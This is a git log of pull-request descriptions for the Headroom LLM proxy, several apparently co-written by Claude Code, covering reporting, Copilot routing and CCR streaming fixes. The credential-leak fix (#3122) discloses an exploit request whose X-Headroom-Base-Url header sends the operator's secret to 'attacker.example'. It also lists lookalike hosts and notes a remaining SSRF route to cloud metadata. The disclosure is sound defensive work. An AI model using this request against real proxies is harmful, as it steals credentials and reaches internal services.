blend where 60% of tokens sat in requests that shipped nothing.
- **NOT tested: live paid Anthropic traffic with a real signed thinking
block.** This is the one thing that matters most and I could not do it
here. The signature-verification behaviour is Anthropic's, and no local
test can prove it accepts a re-serialized body carrying an untouched
block. **Please validate on live traffic before relying on the
default.** Watch for 400 `invalid_request_error` mentioning `thinking`,
and `CACHE-MISS-ATTRIBUTION reason=prefix_change` rates.

## Known risk not eliminated

Enabling this changes the wire bytes for in-flight sessions, so expect a
**one-time prefix change** on the first affected turn of each live
conversation. Supporting evidence that this is bounded: canonical
serialization is already the norm for the ~66% of traffic without
thinking blocks, and that traffic sustains a 94.3% cache hit rate.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 00:17:01 -07:00
Tejas Chopra
250ede2f7f
fix(reporting): show net vs gross savings, real skip thresholds, and the effective profile (#3123)
## Description

Six reporting/config defects found while investigating a user reporting
~1% savings on Claude Code. **None of these changes how much Headroom
compresses** — all of them change whether an operator can tell what it
did. Every one was found by reading that user's own 227,777 lines of
proxy logs against the code.

## Changes Made

- **`perf/analyzer`: parse and render `tok_inflated`.** Every PERF line
carried it; nothing downstream read it. The report could print
`321,239,562 -> 313,274,727` directly above `8,455,763 saved` — two
figures that differ by exactly the 490,928 tokens of inflation it
omitted.
- **`content_router`: report the real skip thresholds.** The routing
summary hardcoded `skipped (<50 words)` regardless of what was in force.
Wrong number (the message gate is `min_tokens`, 10–250 by profile),
wrong unit (tokens and characters, never words), and it merged two
different gates under one label.
- **`perf/analyzer`: disclose that Transform Effectiveness is partial.**
It is built only from `pipeline.py`'s `Transform NAME:` lines.
`compression_units.py` / `compression_batches.py` contain zero logging
calls, so the table read `content_router: 189,783 saved` against a PERF
total 44x larger. Reports the divergence rather than a coverage ratio —
the two are different populations and neither contains the other (those
lines carry no request_id, fire per stage, and are emitted before the
forwarder decides).
- **`perf/analyzer`: disclose the routing denominator.** Percentages
were taken over 4 of the router's 17 outcome buckets, silently dropping
buckets larger than several it displayed.
- **`savings_tracker`: stop dropping tool-schema dollars.**
`estimate_request_savings_usd` prices four buckets; `record_request`
read three. `tool_schema` was computed and discarded, so a quarter of
the token headline never reached "Cost saved". The two inputs are
disjoint (verified at the call site), so this is additive, not
double-counting.
- **`agent_savings`: an unknown profile no longer degrades to
`balanced`.** `balanced` is a different product posture from the default
`coding`: cache→token mode, dedup off, tool-search off, user messages
uncompressed, message floor 25x higher, block floor 20x higher. A typo
in `HEADROOM_SAVINGS_PROFILE` silently reconfigured the whole proxy. Now
degrades to `DEFAULT_PROFILE` and names the resolved profile in the
warning.
- **`agent_savings`: give `min_chars_for_block` a config-object path.**
Every other router pipeline kwarg travels on the config object; this one
alone was env-only, so an unseeded proxy applied every sibling `coding`
knob while this floor stayed at 500 instead of 25.
- **`server`: log the resolved compression posture at startup**, reading
cross-turn dedup off the constructed router rather than the environment
(the router resolves it as `config OR env`, so reading env alone would
be a guess).

## Testing

- [x] Unit tests pass, [x] ruff, [x] mypy, [x] new tests added

```text
uv run pytest tests/ -k "content_router or agent_savings or perf or analyzer or savings or proxy_server or cli_perf or prometheus"
620 passed, 25 skipped
uv run mypy headroom  # Success
uv run ruff check . && ruff format --check .  # clean
```

## Real behavior proof

- **Setup:** macOS arm64, Python 3.12, this branch. Input: 60 MB /
227,777 lines of real proxy logs from the reporting user (6 rotated
files, 2,792 PERF lines, 2026-08-17 → 2026-08-19).
- **Steps:** pointed `headroom.perf.analyzer.LOG_DIR` at that directory
and rendered the report before and after the patch.
- **After-fix output (real data, unmodified):**

```text
Requests:     2792
Tokens:       321,288,161 -> 313,323,326 (2.6% messages)
Tokens saved: 11,158,901 (3.4% reduction)
  · inflated      490,928 (net message reduction 7,964,835)
  · messages       8,455,763
  · tool schemas   2,703,138
  ! stage-level total 190,641 != PERF message total 8,455,763 — this table sees only
    engines that emit a Transform line, counts per stage, and does not check whether
    the mutation shipped
  Skipped:     44641 (77%) — below size floor
  (shares are of these 4 buckets only, n=58319; see `[router] route_counts=` for the
   full outcome space)
```

The arithmetic now closes on the page: `8,455,763 - 490,928 =
7,964,835`, matching the token delta exactly. Before the patch none of
the three annotated lines existed and the `Skipped` line claimed `<50
words`.

- **Profile resolution verified by execution**, not inspection —
subprocesses with controlled env:

```text
vanilla (nothing set)          mode=cache dedupe=1 tool_search=1 min_tokens=10  min_chars=25
HEADROOM_SAVINGS_PROFILE=coding  mode=cache dedupe=1 tool_search=1 min_tokens=10  min_chars=25
unknown profile name (before)  mode=token dedupe=0 tool_search=0 min_tokens=250 min_chars=500
unknown profile name (after)   -> resolves to `coding`, warning names it
coding, seeding never runs     min_chars=25 (was 500 before this patch)
```

- **Not tested:** live paid Anthropic traffic. These are
reporting/config surfaces; the wire path is untouched by this PR.

## Review readiness

- [x] Self-reviewed. Three overclaims in my own first draft were
corrected before this PR: a false subset claim in the Transform
Effectiveness note, a comment asserting `min_chars_for_block` was the
*only* env-only field (it is the only env-only *router pipeline kwarg*;
`cross_turn_dedup`, `tool_search`, `protect_reads`, `code_aware`,
`effort_router`, `lossless` remain env-only via a different mechanism
and are **not** fixed here), and a money-path expression that relied on
`a + b if c else d` grouping.

## Known remaining (deliberately out of scope)

- `Requests: N` still overcounts: the Codex WS forwarder reuses one
`request_id` across every turn (one observed 156x), plus ~18 duplicate
PERF emissions.
- `compression_units.py` / `compression_batches.py` remain unlogged —
this PR *discloses* the blind spot rather than closing it.
- The headline stays **gross**. True net is `11,158,901 - 490,928 =
10,667,973` (3.3%, not 3.4%). Making net the headline lowers every
user's reported savings ~4.4%; that is a product call, not mine, so the
inflation is surfaced beside it instead.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 00:16:37 -07:00
Tejas Chopra
05f5ef47cb
fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description

`x-headroom-base-url` lets a client choose the upstream for a single
request — a deliberate, documented feature for routing to
OpenAI-compatible gateways. `*_extra_headers` is operator-configured,
marked `secret=True` in the settings store, and its own help text uses
an API key as the example value.

The two met in the wrong order:

```
openai.py:3127   headers = merge_extra_headers(headers, self.config.openai_extra_headers)
openai.py:3134   upstream_base_url = _resolve_openai_upstream_base(request.headers)
```

The secret was merged **before** the destination was resolved. So:

```
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
```

reached the attacker's host **carrying the operator's gateway key**. One
request, no user interaction, from anything able to reach the proxy port
— a malicious postinstall script, a compromised transitive dep, a second
agent session. Same shape on the Anthropic Messages route
(`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose
override resolves 300 lines later at `:5420`).

Without `*_extra_headers` configured the same primitive is still a plain
SSRF, but that is the pre-existing behavior of a documented feature;
**this PR fixes the credential leak, not the routing.**

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret
only travels to a host the operator designated: one of the resolved
provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`.
This is the rule `copilot_auth.is_copilot_upstream_url` already applies
to Headroom's own Copilot token, generalized.
- **`merge_extra_headers` now takes a required keyword-only
`upstream_url`.** This is the actual fix. An optional parameter would
have closed three call sites and left the tenth forwarder free to
reintroduce the bug; a required one means a forwarder *cannot merge a
secret without declaring where it goes*. All nine call sites updated —
the three client-controllable ones pass the resolved override, the six
config-derived ones pass `None`.
- Undesignated upstreams are **still proxied**, just without the secret,
and the refusal logs once per host (not per request) with the remedy in
the message.
- Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`.

Matching is on the parsed hostname, never the URL string. Whole-string
comparison lets `https://api.anthropic.com@evil.example` through, and
makes a base URL match while base+path does not — that exact asymmetry
is how a gate ends up covering routing but not the credential attach.
Exact hostname equality, no wildcards.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass
- [x] Manual testing performed

### Test Output

```text
tests/test_upstream_credential_scoping.py            15 passed   (new)

Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"):
  3340 passed, 163 skipped, 1 failed in 164.56s

The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing:
it fails identically on a clean origin/main worktree.

ruff check: All checks passed
ruff format --check: 7 files already formatted
mypy headroom/proxy/upstream_trust.py: Success, no issues found
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in so the extension imports.
- Exact command / steps: built the exploit as an end-to-end test — a
`TestClient` app with `anthropic_extra_headers={"Api-Key":
"corp-gateway-secret"}` and a capturing transport, then `POST
/v1/messages` with `X-Headroom-Base-Url: https://attacker.example`,
asserting on the headers the transport actually received. **Then
disabled only the new gate (leaving the signature intact) to confirm the
test reproduces the original vulnerability.**
- Observed result: with the gate disabled the test fails with the secret
visibly on the wire —

  ```
AssertionError: assert 'api-key' not in {..., 'api-key':
'corp-gateway-secret', ...}
  ```

With the gate restored, 15/15 pass. The companion test asserts the
request still reached `attacker.example` and still carried the
*client's* own `x-api-key`, so the fix withholds the operator's
credential without breaking the routing feature or the client's auth.
Lookalike hosts (`api.anthropic.com@evil.example`,
`api.anthropic.com.evil.example`, scheme-less values, `://`) are covered
by parametrized cases.
- Not tested: no live upstream was contacted — all uses a capturing
`httpx` transport. The WebSocket forwarders (`openai.py:6606`,
`codex/live.py:131`) pass `upstream_url=None` because their destination
is config-derived; that classification is verified by reading the
callers (`_api_target(proxy, "openai")`,
`codex_responses_websocket_url()`), not by a test.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: **Yes, deliberately.** If an operator
today configures `*_extra_headers` *and* routes via
`x-headroom-base-url` to a host that is not a configured provider
target, those headers stop being sent. That is the vulnerability, so the
change is the point — but it is a real behavior change for that setup,
which is why the log line names the host and the env var to fix it.
- Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>`
restores delivery for a named host. There is deliberately no global
"off".
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Found during the same audit, **not fixed here** — each wants its own
change:

- **The plain SSRF remains by design.** With no `*_extra_headers`
configured, a client can still make the proxy issue an arbitrary request
to an arbitrary host (cloud metadata at `169.254.169.254`, internal
admin panels) and read the response. Closing that means either an opt-in
requirement for the header or private-IP blocking, and private-IP
blocking would break the common local-gateway setup (LiteLLM on
`127.0.0.1`). Worth a deliberate decision rather than a silent change
here.
- **CORS is the only thing keeping this off the web.**
`x-headroom-base-url` is a non-simple header so it forces a preflight,
and the default origin regex is loopback-only. Setting
`HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web
page.
- The `/v1/*` data plane has no authentication for loopback callers even
when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback),
so "any local process" is the realistic attacker for all of the above.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00
Tejas Chopra
b77d612913
fix(copilot): send VS Code inline completions to the host that serves them (#3112)
## Description

#3077 stopped Copilot's inline completions being forwarded to
`api.openai.com` (the corporate-blocked host in the original report) —
but sent them to the **CAPI host**, which does not serve that endpoint.

Copilot has two surfaces on two different hosts, and GitHub's own client
library keeps them apart:

```js
_getCAPIUrl(t)  -> t?.endpoints.api   || "https://api.githubcopilot.com"
_getProxyUrl(t) -> t?.endpoints.proxy || DEFAULT_PROXY_BASE_URL
DEFAULT_PROXY_BASE_URL = "https://copilot-proxy.githubusercontent.com"
```

building completions as
`${proxyBaseURL}/v1/engines/<engine>/completions` (`@vscode/copilot-api`
0.5.2). Probed unauthenticated against the live hosts:

| host | `POST /v1/engines/<e>/completions` |
|---|---|
| `copilot-proxy.githubusercontent.com` | **401** — exists, needs auth |
| `proxy.individual.githubcopilot.com` | **401** — CNAME to the above |
| `api.githubcopilot.com` | **404** — does not serve this path |

So the destination #3077 chose could not have worked. Three separate
defects were in the way, each sufficient on its own to keep completions
broken.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `copilot_auth.py`: added `DEFAULT_COMPLETIONS_PROXY_URL` and made it
the default in `copilot_completions_base_url()`, replacing the CAPI
host.
- `copilot_auth.py`: the "custom deployment keeps its own host" rule now
excludes public Copilot hosts. Without this, `headroom wrap vscode` —
the common setup, and the one that exports
`GITHUB_COPILOT_API_URL=<resolved subscription URL>` — resolved straight
back to the 404 host. **This was a bug in my own first cut of the fix,
found by testing the real `wrap vscode` environment rather than just the
routing table.**
- `copilot_auth.py`: added `is_copilot_completions_host()` and
`is_copilot_upstream_url()` (chat ∪ completions). The completions host
was recognised as Copilot **nowhere**, so `apply_copilot_api_auth`
attached no credentials (401 — routing correctly to a host we then
failed to authenticate against) and `build_copilot_upstream_url` skipped
`mark_request_routed_to_copilot()`, mislabelling the provider in
telemetry.
- The union is applied at exactly those two call sites.
`is_copilot_api_url` is left alone, so validation of a token payload's
`endpoints.api` and the Responses-API preference check keep their strict
chat-only meaning. All six call sites were read before choosing this.
- `proxy_targets.py`: the "already a Copilot host" guard now keys on the
*completions* host. A CAPI host is not a completions host, so it must
still be redirected; a genuine per-SKU completions host or operator
override is still left untouched.
- `providers/copilot/vscode.py`, `cli/wrap.py`,
`docs/…/vscode-copilot.mdx`: stop writing/printing
`github.copilot.advanced.debug.overrideAuthType`. No such setting exists
in the modern Copilot Chat extension — the only one left after
`GitHub.copilot` was deprecated in early 2026. Its full `advanced.*`
surface is `authPermissions`, `authProvider`, `debug.overrideCapiUrl`,
`debug.overrideProxyUrl`, `debug.use*Fetcher`. It is still *recognised*
so a stale hand-written copy is detected, just never emitted.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_copilot_vscode_completions_routing.py  59 passed
Copilot-related suites                           293 passed, 8 skipped

Full suite:
3 failed, 11250 passed, 581 skipped in 342.50s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline on this machine: no `cargo`
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `139c7cbd`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: (1) composed the real request path —
`select_passthrough_base_url(proxy, headers, path)` →
`build_copilot_upstream_url` → `apply_copilot_api_auth` — across 7
deployment shapes (no config, `wrap vscode`, advertised
`endpoints.proxy`, operator override, GHE `.ghe.com`, GHE custom domain,
target already a completions host); (2) probed the three candidate hosts
unauthenticated with `curl -X POST
/v1/engines/gpt-4o-copilot/completions`; (3) round-tripped
`settings.json` through empty / one-setting / comments+array / CRLF
shapes asserting valid JSON, idempotency and clean removal.
- Observed result: before — `api.githubcopilot.com/...` (404 host), and
with `GITHUB_COPILOT_API_URL` set as `wrap vscode` sets it,
`api.business.githubcopilot.com` (also 404); no `Authorization` header
on the completions host. After —
`copilot-proxy.githubusercontent.com/v1/engines/gpt-41-copilot/completions`
with credentials attached in every public-Copilot shape,
`endpoints.proxy` and the operator override still winning, and a GHE
tenant staying on its own host. `settings.json` stays valid JSON in all
four shapes with the dead key gone; the two `restored=False` cases are
pre-existing whitespace/CRLF normalisation, identical on `main`.
Reverting the source fails 14 of the new tests, including the credential
test on the completions host.
- Not tested: no live VS Code session and no authenticated completion —
the 401 proves the endpoint exists, not that GitHub accepts our
forwarded request, which needs a real Copilot token. Confirmation from
@rganesh-msys is still wanted. **Enterprise remains unresolved by
default**: a GHE tenant stays on its own CAPI host, which is likely
still the wrong surface for completions, but staying in-tenant beats
forwarding keystrokes to a public GitHub host —
`GITHUB_COPILOT_PROXY_URL` is the exact fix and now takes precedence
over everything.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, and deliberately — the
completions destination moves from a host that answers 404 to the one
GitHub's own client defaults to. Only `/v1/engines/<engine>/completions`
is affected; every other path keeps its upstream, pinned by tests.
Copilot credentials now also reach the completions host, which is the
point.
- Kill switch / disable path: `GITHUB_COPILOT_PROXY_URL` pins the
destination explicitly and beats all inference.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; completions return to the CAPI host
(404) and the settings block regains the inert `overrideAuthType`.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Two things found while reading the extension source, **not changed
here**:

1. `advanced.debug.overrideProxyUrl` is **not** deprecated — the report
that Copilot 0.60.0 stopped honouring it does not hold. The current
canonical key is `github.copilot.internal.completionsUrl`, and
`advanced.debug.overrideProxyUrl` is checked as its explicit legacy
fallback (`getEndpointOverrideUrl` in
`completions-core/lib/src/networkConfiguration.ts`), so what we write
still works. Worth migrating to the `internal.*` keys eventually, since
they take precedence.
2. `endpoints.proxy` is still only recorded during a token exchange,
which is opt-in via `GITHUB_COPILOT_USE_TOKEN_EXCHANGE`, and the base
URL is chosen before auth runs. With the default now correct this is a
refinement for per-SKU hosts rather than a correctness requirement, so
it is left as-is.

Closes #3076

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 15:21:22 -07:00
Tejas Chopra
139c7cbdde
fix(ccr): send Accept: application/json on a buffered stream:false turn (#3102)
## Description

Server-side CCR retrieval flips a `stream: true` turn to `stream: false`
so the whole upstream reply is in hand before answering. The **body**
was rewritten; the client's `Accept: text/event-stream` was **not**. The
request that went on the wire therefore contradicted itself — *"answer
as JSON"* in the body, *"I only accept SSE"* in the headers.

Anthropic's first-party API tolerates that, which is why this never
surfaced against it. GitHub Copilot's Anthropic-compatible gateway does
not, and answers with a generic `api_error`.

That is the reported shape exactly. An OpenCode session's **first** call
succeeds — no marker exists yet, so nothing is buffered. The **second**
call is the first to carry a redeemable `<<ccr:…>>` marker, so it is the
first to be flipped to buffered, and it fails. The reporter's own logs
show the correlation: every failed request carries
`mutation_reasons=…,ccr_streaming_retrieve_buffered_non_stream`.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/proxy/handlers/anthropic.py`: when the buffered CCR path
flips `stream` to `false`, the outgoing `Accept` header is set to
`application/json` to match. The lookup is case-insensitive and
**replaces** the existing header rather than appending, so exactly one
`Accept` goes upstream.
- `headroom/proxy/handlers/openai.py`: the **same fix on the
`/v1/responses` buffered path**, which has an identical `stream: false`
flip with no matching `Accept`. This handler is a GitHub Copilot path —
it calls `apply_copilot_api_auth` — so leaving it would have left the
reported bug live on a route the reporter can hit. Found during
self-review, not in the original diff.
- Same treatment for the Anthropic CCR continuation request, which is
non-streaming for the same reason and previously fixed only
`Content-Type`. Its header strip is now case-insensitive for
`Content-Type` as well, removing a latent duplicate-header path.
- `tests/test_buffered_ccr_accept_header.py`: 6 tests — the buffered
turn asks for JSON, exactly one `Accept` survives, mixed-case `Accept`
is replaced, a client sending no `Accept` still gets one, a non-buffered
streaming turn keeps `text/event-stream` untouched, and the OpenAI
`/v1/responses` buffered turn asks for JSON too.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_buffered_ccr_accept_header.py ......                          [100%]
6 passed

CCR-adjacent suites on this branch:
tests/test_buffered_ccr_accept_header.py, test_buffered_ccr_salvage.py,
test_buffered_ccr_grace_window.py, test_anthropic_streaming_ccr_retrieve.py,
test_ccr_buffered_stream_signed_thinking.py
41 passed

Full suite on this branch:
3 failed, 11216 passed, 581 skipped in 414.81s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline run on the same machine: no `cargo` installed
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `7ef736fb`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: Drove one streaming `/v1/messages` turn through
`create_app()` carrying a redeemable `<<ccr:…>>` marker and
`headroom_retrieve` in `tools` (so the buffered path engages), with the
client sending `Accept: text/event-stream`, and captured the exact
headers and body handed to the upstream call.
- Observed result: Before — `body.stream=False` sent together with
`accept: text/event-stream`, the self-contradicting request. After —
`body.stream=False` with `accept: application/json`, and a turn that is
not flipped still sends `accept: text/event-stream` unchanged. Reverting
only `headroom/proxy/handlers/anthropic.py` fails 3 of the new tests;
reverting the OpenAI hunk alone fails the `/v1/responses` test with
`['text/event-stream'] != ['application/json']`. Restoring both passes
all 6.
- Not tested: No live GitHub Copilot gateway call — I have no Copilot
credentials here, so the claim that Copilot rejects the contradictory
request is inferred from the reporter's logs plus the header mismatch,
not observed against their upstream. Confirmation from @mars-peng-lb on
a real OpenCode + Copilot session is still wanted before treating #3078
as fully closed.

Separately noted while reviewing, **not fixed here**:
`_should_buffer_openai_responses_stream_ccr` has no redeemable-marker
requirement, so the `/v1/responses` path still buffers on mere tool
presence — the #3071/#3092 narrowing was never mirrored from the
Anthropic handler. Worth its own issue.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Only on the buffered CCR path, and
only the `Accept` header, which is made consistent with the `stream:
false` body already being sent. Non-buffered turns are byte-identical,
pinned by a test.
- Kill switch / disable path: `--no-ccr` / `HEADROOM_NO_CCR` disables
the buffered path entirely (see #3082), as does
`ccr_handle_responses=False`.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; the buffered path returns to
forwarding the client's `Accept` unchanged.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Closes #3078

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 07:16:02 -07:00
Tejas Chopra
131b119c05
fix(ccr): make --no-ccr disable server-side response handling too (#3101)
## Description

`--no-ccr` advertises **"Disable CCR entirely"**, and its help text
names the case it exists for: *"streaming / non-MCP clients that can't
resolve an injected tool."* It mapped onto only two of the three CCR
subsystems — markers and tool injection — leaving `ccr_handle_responses`
on. That field has no flag and no env var of its own, so under
`--no-ccr` it was always `True`.

That mattered because the buffered `stream: false` path keys off
`headroom_retrieve` being present in the **request's** tools, and the
client can put it there itself — the bundled OpenCode plugin registers
it unconditionally. So `--no-ccr` left the buffered path fully armed for
exactly the clients it was recommended to, and any turn whose history
still held a redeemable marker kept being flipped to buffered.

This is why the workaround handed out in #2952 / #3017 / #3079 did
nothing for `headroom wrap opencode`.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/cli/proxy.py`: `--no-ccr` / `HEADROOM_NO_CCR` now also sets
`ccr_handle_responses=False`, so the switch covers all three CCR
subsystems rather than two.
- Rewrote the inline comment, which claimed the flag "disables both
halves at once" — there were three.
- `tests/test_no_ccr_disables_response_handling.py`: 5 tests covering
the flag→config mapping (flag, env var, and the untouched default), plus
the behaviour it buys — a client-advertised `headroom_retrieve` with a
redeemable marker no longer flips the turn to buffered.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_no_ccr_disables_response_handling.py .....                    [100%]
5 passed

Full suite (both Tier 1 fixes applied):
3 failed, 11220 passed, 581 skipped in 428.90s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline run on the same machine: no `cargo` installed
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `7ef736fb`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: Drove one streaming `/v1/messages` turn through
`create_app()` with the `--no-ccr` posture (`ccr_inject_tool=False`,
`ccr_inject_marker=False`), a client-supplied `headroom_retrieve` in
`tools`, and a redeemable `<<ccr:…>>` marker in the message — then
recorded the `stream` value that reached the upstream stub.
- Observed result: Before — upstream received `stream=False`; the turn
was buffered despite `--no-ccr`. Only setting
`ccr_handle_responses=False` stopped it. After — `headroom proxy
--no-ccr` and `HEADROOM_NO_CCR=1` both produce
`ccr_handle_responses=False`, and the same turn keeps streaming.
Reverting just `headroom/cli/proxy.py` fails the two mapping tests and
passes them again with it restored.
- Not tested: No live OpenCode + GitHub Copilot session; the reporter's
end-to-end confirmation is still wanted. The OpenCode plugin still
registers `headroom_retrieve` unconditionally — deliberately left alone,
since with this fix an advertised tool no longer causes buffering.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: No. Default (no flag) keeps
`ccr_handle_responses=True`, pinned by a test.
- Kill switch / disable path: This *is* the kill switch; the change
makes it work as documented.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; `--no-ccr` returns to disabling two
of three subsystems.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Closes #3082

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 07:15:55 -07:00
Parideboy
7ef736fb1a
fix(ccr): make StreamingCCRHandler work on OpenAI streams (#3069)
## Description

`StreamingCCRHandler` (`headroom/ccr/response_handler.py`) was written
against the Anthropic wire format. Constructed with `provider="openai"`
it does not work: it silently drops the response, reports the wrong
`finish_reason`, and emits a stream shape no OpenAI client can read.
This PR fixes all three.

**Reachability, stated up front:** `StreamingCCRHandler` is exported
from `headroom/ccr/__init__.py` but no proxy handler instantiates it
today. Every live CCR path (`handlers/openai.py:4276`,
`handlers/openai.py:5936`, `handlers/anthropic.py`,
`handlers/gemini.py`) calls `CCRResponseHandler.handle_response` on a
non-streaming body instead. So these defects are not currently hit by
proxy traffic. They bite anyone importing the public
`headroom.ccr.StreamingCCRHandler` export, and they would bite the
moment streaming CCR gets wired up. I would rather fix them while they
are cheap than have them surface as a mysterious truncation bug later.

**This PR does not fix #1026.** I found these while investigating that
issue and they turned out to be unrelated to it. #1026 needs information
from the reporter before anyone can say whether Headroom is even in the
request path; I have asked for it there.

### The three defects

**1. The whole OpenAI response was dropped.**

`StreamingCCRBuffer.add_chunk` detected a tool call by scanning the
accumulated bytes for the literal `"type":"tool_use"`. That is
Anthropic-only. An OpenAI-compatible stream carries tool calls as a
`tool_calls` array inside `choices[].delta` and never emits that marker,
so `detected_ccr` could never become `True`.

Independently, `process_stream` decided the stream had ended by scanning
for `"stop_reason"`, another Anthropic-only field. An OpenAI stream has
no such field; it terminates with the `[DONE]` sentinel.

With neither marker ever matching, and nothing flushing the buffer once
the source iterator ran out, the outcome was:

- OpenAI stream under 10 000 bytes: **nothing at all was yielded**. The
client got an empty response.
- OpenAI stream over 10 000 bytes: chunks flushed in ~10 KB batches, and
the final sub-threshold batch was never flushed. The response visibly
stopped mid-sentence.

**2. `finish_reason` was hardcoded.**

`_reconstruct_openai_response` always returned `"finish_reason":
"stop"`, even when it had just finished reconstructing a non-empty
`tool_calls` array, where the OpenAI API requires `"tool_calls"`. A
client that drives its agent loop off `finish_reason` reads `stop`,
concludes the turn is over, and never executes the tool calls. The
Anthropic sibling `_reconstruct_anthropic_response` does this correctly,
carrying `stop_reason` through from `message_delta`.

It also discarded `id`, `object`, `created`, `model`, and `usage`,
returning a bare `choices` list that is not a valid `chat.completion`.

**3. `_response_to_sse` emitted the wrong shape.**

The OpenAI branch serialised the reconstructed **non-streaming** body
into a single SSE frame. A streaming client parses `choices[].delta`;
this frame has `choices[].message`. Both the text and the tool calls
were invisible to it.

### Why CI did not catch it

`tests/test_ccr_response_handler_extra.py` exercised
`_reconstruct_openai_response` but never asserted `finish_reason`, and
the one `process_stream` test that passed `provider="openai"` fed it
Anthropic-shaped bytes (`"type":"tool_use"` plus `"stop_reason"`). No
test had ever run a real OpenAI stream through this class. That test now
uses the real OpenAI wire shape, so it actually covers the path it
claims to.

## Type of Change

- [x] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to not work as expected)
- [ ] Documentation update
- [ ] Refactor / internal change

## Changes Made

All in `headroom/ccr/response_handler.py`:

- `StreamingCCRBuffer` gained a `provider` field (defaults to
`"anthropic"`, so existing construction is unchanged) and picks its
tool-call marker from it: `"type":"tool_use"` for Anthropic,
`"tool_calls"` for everything else. `StreamingCCRHandler.__init__` now
passes its own provider down.
- `process_stream` selects the end-of-stream marker by provider
(`"stop_reason"` for Anthropic, `data: [DONE]` for OpenAI), and **always
flushes whatever is still buffered once the source iterator is
exhausted**. That second part is deliberately unconditional on the
marker: upstream can truncate, a gateway can omit the sentinel, and a
future stream shape may not be recognised. Buffered bytes at that point
are real response data, so they get flushed rather than dropped.
- Removed the dead re-iteration block that followed the detection loop.
Its guard was `not detection_complete and not self.buffer.detected_ccr`,
